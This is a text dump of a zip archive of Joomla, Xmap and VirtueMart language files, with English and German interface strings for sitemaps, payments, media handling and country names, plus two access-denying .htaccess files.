; Note : All ini files need to be saved as UTF-8 COM_MAILTO="Mail to" COM_MAILTO_XML_DESCRIPTION="A generic mail to friend component" PK@y>\*l99&language/en-GB/en-GB.com_cache.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CACHE="Cache Manager" COM_CACHE_XML_DESCRIPTION="Component for cache management" PK@y>\GIII-language/en-GB/en-GB.plg_content_vote.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_VOTE="Content - Vote" PLG_VOTE_XML_DESCRIPTION="Add the Voting functionality to Articles"PK@y>\6f7^^!language/en-GB/en-GB.com_xmap.ininuW+A; $Id$ ; Xmap component ; Guillermo Vargas (guille@vargas.co.cr) ; Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved. ; GNU General Public License version 2 or later; see LICENSE.txt ; ; Component Instalation strings XMAP_INSTALLING_XMAP="Installing Xmap component - The site map generator for Joomla!" XMAP_UPGRADING_XMAP="Upgrading Xmap component - The site map generator for Joomla!" XMAP_UNISTALLING_XMAP_EXTENSIONS="Unistalling Xmap's extensions" XMAP_INSTALLED_EXTENSION_X="Installing %s extension" XMAP_NOT_INSTALLED_EXTENSION_X="It was not possible to install the extension for %s" XMAP_INSTALL_ERROR_EXTENSION="Error installing extension" XMAP_INSTALL_SUCCESS_EXTENSION="Installing extension was successful" XMAP_HEADING_XML_STATS="XML Sitemap stats" XMAP_HEADING_HTML_STATS="HTML Sitemap stats" XMAP_HEADING_NUM_LINKS="Num. Items" XMAP_HEADING_NUM_HITS="Hits" XMAP_HEADING_LAST_VISIT="Last Visited" XMAP_HEADING_SITEMAP="Sitemap" XMAP_HEADING_DEFAULT="Default" XMAP_HEADING_ID="ID" XMAP_HEADING_PUBLISHED="Published" XMAP_HEADING_ACCESS="Access" XMAP_SUBMENU_SITEMAPS="Sitemaps" XMAP_SUBMENU_EXTENSIONS="Extensions" XMAP_SUBMENU_SETTINGS="Settings" XMAP_TOOLBAR_SET_DEFAULT="Set Default" XMAP_SITEMAPS_TITLE="Sitemaps Manager" DATE_MINUTES_AGO="%d minutes ago" DATE_HOURS_MINUTES_AGO="%d hours and %d minutes ago" DATE_DAYS_HOURS_AGO="%d days and %d hours ago" DATE_NEVER="Never" XMAP_INTROTEXT_LABEL="Intro Text" XMAP_INTROTEXT_DESC="Enter the text that will be displayed above the site map" XMAP_PRIORITY="Priority" XMAP_CHANGE_FREQUENCY="Change Frequency" XMAP_PAGE_ADD_SITEMAP="New Sitemap" XMAP_PAGE_EDIT_SITEMAP="Edit Sitemap" XMAP_SITEMAP_DETAILS_FIELDSET="Sitemap Details" XMAP_XML_LINK="XML Sitemap" XMAP_XML_LINK_TOOLTIP="Go to the XML version of the sitemap, use this url to submit your sitemap to Google and other search engines." XMAP_NEWS_LINK="News Sitemap" XMAP_NEWS_LINK_TOOLTIP="Go to the “News” version of the sitemap, use this url to submit your sitemap to Google News." XMAP_IMAGES_LINK="Images Sitemap" XMAP_IMAGES_LINK_TOOLTIP="Go to the “Images” version of the sitemap, use this url to submit your sitemap to Google and other search engines." XMAP_MESSAGE_EXTENSIONS_DISABLED="Xmap have detected that the following extensions can help you to get more content in your site map but they are disabled, you have to manually enable them visiting the extensions manager: %s" COM_XMAP_SITEMAPS_N_ITEMS_UNPUBLISHED="%d sitemaps successfully unpublished" COM_XMAP_SITEMAPS_N_ITEMS_UNPUBLISHED_1="%d sitemap successfully unpublished" COM_XMAP_SITEMAPS_N_ITEMS_PUBLISHED="%d sitemaps successfully published" COM_XMAP_SITEMAPS_N_ITEMS_PUBLISHED_1="%d sitemap successfully published" COM_XMAP_SITEMAPS_N_ITEMS_TRASHED="%d sitemaps successfully published" COM_XMAP_SITEMAPS_N_ITEMS_TRASHED_1="%d sitemap successfully trashed" COM_XMAP_SITEMAPS_N_ITEMS_DELETED="%d sitemaps successfully deleted" COM_XMAP_SITEMAPS_N_ITEMS_DELETED_1="%d sitemap successfully deleted" XMAP_FIELDSET_MENUS="Menus" XMAP_FIELDSET_OPTIONS="Options" XMAP_FIELDSET_METADATA="Metadata" XMAP_ATTRIBS_SHOW_INTRO_LABEL="Intro text" XMAP_ATTRIBS_SHOW_INTRO_DESC="Should we show the intro text in the HTML sitemap?" XMAP_ATTRIBS_SHOW_MENU_TITLE_LABEL="Menu title" XMAP_ATTRIBS_SHOW_MENU_TITLE_DESC="Should we show the menu title at the top of each menu" XMAP_ATTRIBS_CLASSNAME_LABEL="CSS Class name" XMAP_ATTRIBS_CLASSNAME_DESC="The CSS class to use for this sitemap." XMAP_ATTRIBS_COLUMNS_LABEL="# Cols" XMAP_ATTRIBS_COLUMNS_DESC="Specify the number of columns for the HTML. (This only has effect if the number of menus on the sitemap is greater than 1)" XMAP_ATTRIBS_EXTERNAL_LINKS_IMAGE_LABEL="External Links Image" XMAP_ATTRIBS_EXTERNAL_LINKS_IMAGE_DESC="Select the image to use for the external links" XMAP_ATTRIBS_COMPRESS_XML_LABEL="Compress XML" XMAP_ATTRIBS_COMPRESS_XML_DESC="Should be compress the XML sitemap?" XMAP_ATTRIBS_BEAUTIFY_XML_LABEL="Beautify XML" XMAP_ATTRIBS_BEAUTIFY_XML_DESC="Select yes to add some styling to XML Sitemap Output. This for humans only and does not affect the behavior for robots at all. If you are seeing a white sitemap or errors in your browser, try disabling this." XMAP_FIELDSET_NEWS_OPTIONS="News Sitemap" XMAP_ATTRIBS_NEWS_PUBLICATION_NAME_LABEL="Publication Name" XMAP_ATTRIBS_NEWS_PUBLICATION_NAME_DESC="This is the name of the news publication. It must exactly match the name as it appears on your articles in news.google.com, omitting any trailing parentheticals. For example, if the name appears in Google News as “The Example Times (subscription)”, you should use the name, “The Example Times”." XMAP_ATTRIBS_NEWS_POSTS_KEYWORDS_LABEL="Posts keywords" XMAP_ATTRIBS_NEWS_POSTS_KEYWORDS_DESC="Comma separated list of keywords to describe your posts. Default to the post's category title." ; Extension edit page XMAP_PAGE_EDIT_EXTENSION="Edit Extension" XMAP_N_EXTENSIONS_UNPUBLISHED="%s extensions unpublished" XMAP_N_EXTENSIONS_PUBLISHED="%s extensions published" XMAP_EXTENSION_DETAILS="Details" XMAP_EXTENSION_AUTHOR="Author" XMAP_EXTENSION_AUTHOR_EMAIL="Author's Email" XMAP_EXTENSION_AUTHOR_WEBSITE="Author's website" XMAP_EXTENSION_DESCRIPTION="Description" XMAP_DESC_EXTENSIONS="List of installed Xmap Extensions" XMAP_HEADING_AUTHOR="Author" XMAP_HEADING_DATE="Date" XMAP_HEADING_FOLDER="Folder" XMAP_HEADING_NUM="Num." XMAP_HEADING_PLUGIN="Plug-in" XMAP_HEADING_VERSION="Version" XMAP_INSTALL="Install" XMAP_INSTALL_DIRECTORY="Install directory" XMAP_INSTALL_FROM_DIRECTORY="Install from directory" XMAP_INSTALL_FROM_URL="Install from URL" XMAP_INSTALL_NEW_EXTENSION="Install new extension" XMAP_INSTALL_URL="Install URL" XMAP_PACKAGE_FILE="Package file" XMAP_PLEASE_ENTER_A_URL="Please enter a URL" XMAP_PLEASE_SELECT_A_DIRECTORY="Please select a directory" XMAP_PLEASE_SELECT_A_FILE_TO_UPLOAD="Please select a file to upload" XMAP_UPLOAD_FILE="Upload file" XMAP_UPLOAD_PACKAGE_FILE="Upload package file" XMAP_EXTENSION_MANAGER_TITLE="Extension Manager" XMAP_EXTENSIONS_TITLE="Extensions" XMAP_FILTER_SEARCH_DESC="Search in title"PK@y>\'language/en-GB/en-GB.mod_latest.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LATEST="Latest News" MOD_LATEST_XML_DESCRIPTION="This Module shows a list of the most recently published Articles that are still current. Some that are shown may have expired even though they are the most recent." MOD_LATEST_LAYOUT_DEFAULT="Default" PK@y>\'ff/language/en-GB/en-GB.plg_editors_codemirror.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CODEMIRROR_FIELD_LINENUMBERS_DESC="Display line numbers" PLG_CODEMIRROR_FIELD_LINENUMBERS_LABEL="Line numbers" PLG_CODEMIRROR_FIELD_TABMODE_DESC="Indent - causes tab to adjust the indentation of the selection or current line using the parser's rules . Shift - Pressing tab indents the current line (or selection) one indent Unit deeper, pressing shift-tab, un-indents it." PLG_CODEMIRROR_FIELD_TABMODE_LABEL="Tab mode" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_INDENT="Indent" PLG_CODEMIRROR_FIELD_VALUE_TABMODE_SHIFT="Shift" PLG_CODEMIRROR_XML_DESCRIPTION="This plugin loads the CodeMirror editor." PLG_EDITORS_CODEMIRROR="Editor - CodeMirror"PK@y>\Ɣ2language/en-GB/en-GB.plg_editors-xtd_pagebreak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_PAGEBREAK="Button - Pagebreak" PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK="Page Break" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Provides a button to enable a pagebreak to be inserted into an Article. A popup allows you to configure the settings to be used." PK@y>\QCyuu/language/en-GB/en-GB.plg_vmcustom_textinput.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_NAME_INFO="Title" VMCUSTOM_NAME_INFO_DESC="Title to be displayed. It can be either a text or a key string that can be translated" VMCUSTOM_TEXTINPUT="Custom Field Text Input" VMCUSTOM_TEXTINPUTPRICE_BY_LETTER_OR_INPUT_DESC="When selecting Price per letter, the extra price is applied by letter, otherwise the extra price for the all input" VMCUSTOM_TEXTINPUT_PRICE_BY_INPUT="Price per input" VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER="Price per letter" VMCUSTOM_TEXTINPUT_PRICE_BY_LETTER_OR_INPUT="Price per letter or per input" VMCUSTOM_TEXTINPUT_SIZE="Size of input" VMCUSTOM_TEXTINPUT_SIZE_DESC="Length of the displayed field" VMCUSTOM_TEXTINPUT_YTEXT="Your text"PK@y>\6language/en-GB/en-GB.plg_quickicon_extensionupdate.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Quick Icon - Joomla! Extensions Updates Notification" PLG_QUICKICON_EXTENSIONUPDATE_CHECKING="Checking extensions
        update status" PLG_QUICKICON_EXTENSIONUPDATE_ERROR="Unknown extensions
        update status" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC="The group of this plugin (this value is compared with the group value used in Quick Icons modules to inject icons)" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL="Group" PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND="Updates are available!
        %s" PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE="All extensions are up-to-date" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Checks for updates of your installed third-party extensions and notifies you when you visit the Control Panel page" PK@y>\md2language/en-GB/en-GB.plg_captcha_recaptcha.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CAPTCHA_RECAPTCHA_XML_DESCRIPTION="This CAPTCHA plugin uses the reCAPTCHA service to prevent spammers while it helps to digitize books, newspapers and old radio shows. To get a public and private key for your domain, go to http://www.google.com/recaptcha. To use this for new account registration, go to Options in the User Manager and select Captcha - reCaptcha as the Captcha." PLG_CAPTCHA_RECAPTCHA="Captcha - ReCaptcha" PK@y>\)language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\њn9##.language/en-GB/en-GB.plg_content_pdf_embed.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PDF_EMBED="Content Pdf Embed" PLG_PDF_EMBED_DESC="

        Thank You for downloading this plugin from Techjoomla

        A superb Plugin which allows you to embed pdf.


        How to use:Place the code pdf=http://your website.com/files/pdf/yourfile.pdf|500|300 between curly braces {}" PK@y>\]A  /language/de-DE/de-DE.plg_vmpayment_standard.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="VM Zahlungs-Plugin Standard" VMPAYMENT_STANDARD_AMOUNT="Betrag: " VMPAYMENT_STANDARD_COST_PERCENT_TOTAL="Prozent des Gesamtbetrages" VMPAYMENT_STANDARD_COST_PERCENT_TOTAL_EXPLAIN="Prozentbetrag, der für diese Zahlung anfällt" VMPAYMENT_STANDARD_COST_PER_TRANSACTION="Gebühr pro Transaktion" VMPAYMENT_STANDARD_COST_PER_TRANSACTION_EXPLAIN="Pro Transaktion fälliger Fixbetrag" VMPAYMENT_STANDARD_COUNTRIES="Länder" VMPAYMENT_STANDARD_COUNTRIES_DESC="Bitte wählen Sie die Länder, für welche diese Zahlungart angewendet werden soll. Falls kein Land ausgewählt ist, wird diese Zahlungsart für alle Länder angewandt" VMPAYMENT_STANDARD_CURRENCY="Akzeptierte Währung" VMPAYMENT_STANDARD_CURRENCY_DESC="Akzeptierte Währung für diese Zahlung" VMPAYMENT_STANDARD_INFO="Zahlungsinformation" VMPAYMENT_STANDARD_LOGOS="Logos" VMPAYMENT_STANDARD_LOGOS_DESC="Logos, welche zusammen mit der Bezeichnung der Zahlungsart angezeigt werden" VMPAYMENT_STANDARD_MAX_AMOUNT="Maximalbetrag" VMPAYMENT_STANDARD_MAX_AMOUNT_EXPLAIN="Maximalbetrag für diese Zahlungsart" VMPAYMENT_STANDARD_MIN_AMOUNT="Mindestbetrag" VMPAYMENT_STANDARD_MIN_AMOUNT_EXPLAIN="Mindestbetrag für diese Zahlungsart" VMPAYMENT_STANDARD_ORDER_INFO="Bestellinformation" VMPAYMENT_STANDARD_ORDER_NUMBER="Bestellnummer: " VMPAYMENT_STANDARD_ORDER_TOTAL="Gesamtbetrag: " VMPAYMENT_STANDARD_PAYMENTINFO="Zahlungsinformation" VMPAYMENT_STANDARD_PAYMENTINFO_DESC="Zahlungs-Zusatzinformation" VMPAYMENT_STANDARD_PAYMENT_INFO="Zahlungsart: " VMPAYMENT_STANDARD_PAYMENT_NAME="Zahlungsart Bezeichnung" VMPAYMENT_STANDARD_PAYMENT_TOTAL_CURRENCY="Summe in Zahlungswährung" VMPAYMENT_STANDARD_PERCENT_TOTAL="Prozent des Gesamtbetrages" VMPAYMENT_STANDARD_PERCENT_TOTAL_EXPLAIN="Prozent berechnet auf den Gesamtbetrag" VMPAYMENT_STANDARD_STATUS_PENDING="Bestellstatus für noch ausstehende Zahlungen" VMPAYMENT_STANDARD_STATUS_PENDING_EXPLAIN="Der Bestellstatus, auf den Bestellungen gesetzt werden, deren PayPal-Zahlungstransaktion nicht abgeschlossen ist." VMPAYMENT_STANDARD_TAX="MwSt: " VMPAYMENT_STANDARD_TAX_EXPLAIN="MwSt auf die Zahlungsgebühr" VMPAYMENT_STANDARD_TRANSACTION="Gebühr pro Transaktion" VMPAYMENT_STANDARD_TRANSACTION_EXPLAIN="Festbetrag, der für diese Zahlung anfällt"PK@y>\8/language/de-DE/de-DE.plg_vmcustom_stockable.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="Benutzerdefiniertes Feld mit Bestandskontrolle" VMCUSTOM_STOCKABLE_DESC="Geben Sie eine Bezeichnung sowie die Werte für die Optionen einer Produktvariante mit Bestandskontrolle ein" VMCUSTOM_STOCKABLE_IS_VARIANT="Stamm-Variante" VMCUSTOM_STOCKABLE_NO_CHILD="Bitte neue Produktvariante hinzufügen! Danach kann diese Option für jedes Produkt ausgewählt werden" VMCUSTOM_STOCKABLE_NO_OPTION="Kein Wert" VMCUSTOM_STOCKABLE_PRICE="Aufpreis" VMCUSTOM_STOCKABLE_SELECTNAME="Bezeichnung" VMCUSTOM_STOCKABLE_SELECTNAME_DESC="Bezeichnung der Auswahlliste eingeben" VMCUSTOM_STOCKABLE_SELECTOPTIONS="Optionsliste" VMCUSTOM_STOCKABLE_SELECTOPTIONS_DESC="Hier die Option(en) für die Auswahlliste eingeben. Jede Zeile ist eine Option" VMCUSTOM_STOCKABLE_USAGE="Achtung! Dieses Plugin verwendet Produktvarianten um Warenkorb-Varianten mit Bestandskontrolle zu verwalten. Wenn Sie keine Bestandskontrolle für Ihre Warenkorb-Varianten benötigen, sollten Sie die normale Warenkorb-Variante benutzen."PK@y>\9_qq3language/de-DE/de-DE.plg_vmpayment_standard.sys.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="Vm Zahlungs-Plugin Standard" PK@y>\,-language/de-DE/de-DE.com_virtuemart_media.ininuW+A; Virtuemart! Project ; Copyright (C) 2012 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_FILES_FORM="Produkt Dateien Formular" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="bereits zugeordnete Datei" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="primär zugeordnete Datei" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Erstelle Minibild" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Aktuelle Datei" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Aktuelles Vollbild" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Aktuelles Minibild" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Herunterladbare Datei" COM_VIRTUEMART_FILES_FORM_FILE="Zusätzliche Datei" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Angezeigte Beschreibung" COM_VIRTUEMART_FILES_FORM_FILE_META="Meta-Tags" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="Datei veröffentlicht?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Angezeigter Titel" COM_VIRTUEMART_FILES_FORM_FILE_URL="Verwendete URL" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Verwendete Minibild URL" COM_VIRTUEMART_FILES_FORM_IMAGE="Zusätzliche Abbildung" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Unterstützte Dateitypen für Minibild-Erstellung" COM_VIRTUEMART_FILES_FORM_LANGUAGE="Sprache" COM_VIRTUEMART_FILES_FORM_LANGUAGE_TIP="Bild bei den ausgewählten Sprachen anzeigen (leer lassen für 'Alle')" COM_VIRTUEMART_FILES_FORM_LOCATION="Speicherort/Typ" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="Der Server unterstützt Erkennung des MIME-Typs NICHT - benutzt Tabelle." COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="Der Server unterstützt Erkennung des MIME-Typs" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Produkt Abbildung (Voll- und Mini-)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Größe der Vollbild-Datei ändern?" COM_VIRTUEMART_FILES_FORM_ROLE="Funktion" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Standard-Download-Verzeichnis" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Standard-Abbildungs-Verzeichnis" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Hochladen nach" COM_VIRTUEMART_FILE_DESCRIPTION="Dateibeschreibung" COM_VIRTUEMART_FILE_MIMETYPE="Datei Mime-Typ" COM_VIRTUEMART_FILE_TITLE="Titel" COM_VIRTUEMART_FILE_UPLOAD="Datei hochladen:" COM_VIRTUEMART_FILE_URL="URL" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Abbildung löschen" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Minibild erstellen" COM_VIRTUEMART_FORM_MEDIA_DELETE="löschen" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="anzeigbar" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="herunterladbar" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="keine Eigenschaft" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="Kategorie" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="zu verkaufen" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="Hersteller" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="Produkt" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="Verkäufer" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="hochladen" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="Hochladen und anfügen" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="Hochladen und löschen" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Ersetzen" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Minibild ersetzen" COM_VIRTUEMART_IMAGES="Abbildungen" COM_VIRTUEMART_IMAGE_ACTION="Bild Aktion » " COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="-Bild Auswahl-" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Neues Bild anfügen" COM_VIRTUEMART_IMAGE_DETACH="Bild Abtrennung" COM_VIRTUEMART_IMAGE_EDIT_INFO="Bildinformation bearbeiten" COM_VIRTUEMART_IMAGE_INFORMATION="Bildinformation" COM_VIRTUEMART_IMAGE_NOT_FOUND="Kein Bild gefunden!" COM_VIRTUEMART_IMAGE_REMOVE="Abbildung entfernen" COM_VIRTUEMART_MEDIA_LIST="Produkt Media Datei-Liste" COM_VIRTUEMART_SEARCH_MEDIA="Abbildungen suchen" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Tippen Sie ein Leerzeichen, um alle Abbildungen anzuzeigen oder die ersten Buchstaben eines Bildtitels" PK@y>\)language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Y++1language/de-DE/de-DE.com_virtuemart_countries.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_COUNTRY_EGY="Ägypten" COM_VIRTUEMART_COUNTRY_ETH="Äthiopien" COM_VIRTUEMART_COUNTRY_ALA="Åland" COM_VIRTUEMART_COUNTRY_AFG="Afghanistan" COM_VIRTUEMART_COUNTRY_ALB="Albanien" COM_VIRTUEMART_COUNTRY_DZA="Algerien" COM_VIRTUEMART_COUNTRY_ASM="Amerikanisch-Samoa" COM_VIRTUEMART_COUNTRY_VIR="Amerikanische Jungferninseln" COM_VIRTUEMART_COUNTRY_AND="Andorra" COM_VIRTUEMART_COUNTRY_AGO="Angola" COM_VIRTUEMART_COUNTRY_AIA="Anguilla" COM_VIRTUEMART_COUNTRY_ATA="Antarktis" COM_VIRTUEMART_COUNTRY_ATG="Antigua und Barbuda" COM_VIRTUEMART_COUNTRY_GNQ="Äquatorialguinea, Republik" COM_VIRTUEMART_COUNTRY_ARG="Argentinien" COM_VIRTUEMART_COUNTRY_ARM="Armenien" COM_VIRTUEMART_COUNTRY_ABW="Aruba" COM_VIRTUEMART_COUNTRY_ASC="Ascension" COM_VIRTUEMART_COUNTRY_AZE="Aserbaidschan" COM_VIRTUEMART_COUNTRY_AUS="Australien" COM_VIRTUEMART_COUNTRY_BHS="Bahamas" COM_VIRTUEMART_COUNTRY_BHR="Bahrain" COM_VIRTUEMART_COUNTRY_BGD="Bangladesch" COM_VIRTUEMART_COUNTRY_BRB="Barbados" COM_VIRTUEMART_COUNTRY_BEL="Belgien" COM_VIRTUEMART_COUNTRY_BLZ="Belize" COM_VIRTUEMART_COUNTRY_BEN="Benin" COM_VIRTUEMART_COUNTRY_BMU="Bermuda" COM_VIRTUEMART_COUNTRY_BTN="Bhutan" COM_VIRTUEMART_COUNTRY_BOL="Bolivien" COM_VIRTUEMART_COUNTRY_BES="Bonaire, Sint Eustatius und Saba" COM_VIRTUEMART_COUNTRY_BIH="Bosnien und Herzegowina" COM_VIRTUEMART_COUNTRY_BWA="Botswana" COM_VIRTUEMART_COUNTRY_BVT="Bouvetinsel" COM_VIRTUEMART_COUNTRY_BRA="Brasilien" COM_VIRTUEMART_COUNTRY_VGB="Britische Jungferninseln" COM_VIRTUEMART_COUNTRY_IOT="Britisches Territorium im Indischen Ozean" COM_VIRTUEMART_COUNTRY_BRN="Brunei Darussalam" COM_VIRTUEMART_COUNTRY_BGR="Bulgarien" COM_VIRTUEMART_COUNTRY_BFA="Burkina Faso" COM_VIRTUEMART_COUNTRY_BDI="Burundi" COM_VIRTUEMART_COUNTRY_CHL="Chile" COM_VIRTUEMART_COUNTRY_CHN="China, Volksrepublik" COM_VIRTUEMART_COUNTRY_COK="Cookinseln" COM_VIRTUEMART_COUNTRY_CRI="Costa Rica" COM_VIRTUEMART_COUNTRY_CIV="Cote d'Ivoire" COM_VIRTUEMART_COUNTRY_CUW="Curaçao" COM_VIRTUEMART_COUNTRY_DNK="Dänemark" COM_VIRTUEMART_COUNTRY_DEU="Deutschland" COM_VIRTUEMART_COUNTRY_DGA="Diego Garcia" COM_VIRTUEMART_COUNTRY_DMA="Dominica" COM_VIRTUEMART_COUNTRY_DOM="Dominikanische Republik" COM_VIRTUEMART_COUNTRY_DJI="Dschibuti" COM_VIRTUEMART_COUNTRY_ECU="Ecuador" COM_VIRTUEMART_COUNTRY_SLV="El Salvador" COM_VIRTUEMART_COUNTRY_ERI="Eritrea" COM_VIRTUEMART_COUNTRY_EST="Estland" COM_VIRTUEMART_COUNTRY_FLK="Falklandinseln" COM_VIRTUEMART_COUNTRY_FRO="Färöer" COM_VIRTUEMART_COUNTRY_FJI="Fidschi" COM_VIRTUEMART_COUNTRY_FIN="Finnland" COM_VIRTUEMART_COUNTRY_FRA="Frankreich" COM_VIRTUEMART_COUNTRY_GUF="Französisch-Guayana" COM_VIRTUEMART_COUNTRY_PYF="Französisch-Polynesien" COM_VIRTUEMART_COUNTRY_ATF="Französische Süd- und Antarktisgebiete" COM_VIRTUEMART_COUNTRY_GAB="Gabun" COM_VIRTUEMART_COUNTRY_GMB="Gambia" COM_VIRTUEMART_COUNTRY_GEO="Georgien" COM_VIRTUEMART_COUNTRY_GHA="Ghana, Republik" COM_VIRTUEMART_COUNTRY_GIB="Gibraltar" COM_VIRTUEMART_COUNTRY_GRD="Grenada" COM_VIRTUEMART_COUNTRY_GRC="Griechenland" COM_VIRTUEMART_COUNTRY_GRL="Grönland" COM_VIRTUEMART_COUNTRY_GLP="Guadeloupe" COM_VIRTUEMART_COUNTRY_GUM="Guam" COM_VIRTUEMART_COUNTRY_GTM="Guatemala" COM_VIRTUEMART_COUNTRY_GGY="Guernsey, Vogtei" COM_VIRTUEMART_COUNTRY_GIN="Guinea, Republik" COM_VIRTUEMART_COUNTRY_GNB="Guinea-Bissau, Republik" COM_VIRTUEMART_COUNTRY_GUY="Guyana" COM_VIRTUEMART_COUNTRY_HTI="Haiti" COM_VIRTUEMART_COUNTRY_HMD="Heard und McDonaldinseln" COM_VIRTUEMART_COUNTRY_HND="Honduras" COM_VIRTUEMART_COUNTRY_HKG="Hongkong" COM_VIRTUEMART_COUNTRY_IND="Indien" COM_VIRTUEMART_COUNTRY_IDN="Indonesien" COM_VIRTUEMART_COUNTRY_IMN="Insel Man" COM_VIRTUEMART_COUNTRY_IRQ="Irak" COM_VIRTUEMART_COUNTRY_IRN="Iran" COM_VIRTUEMART_COUNTRY_IRL="Irland, Republik" COM_VIRTUEMART_COUNTRY_ISL="Island" COM_VIRTUEMART_COUNTRY_ISR="Israel" COM_VIRTUEMART_COUNTRY_ITA="Italien" 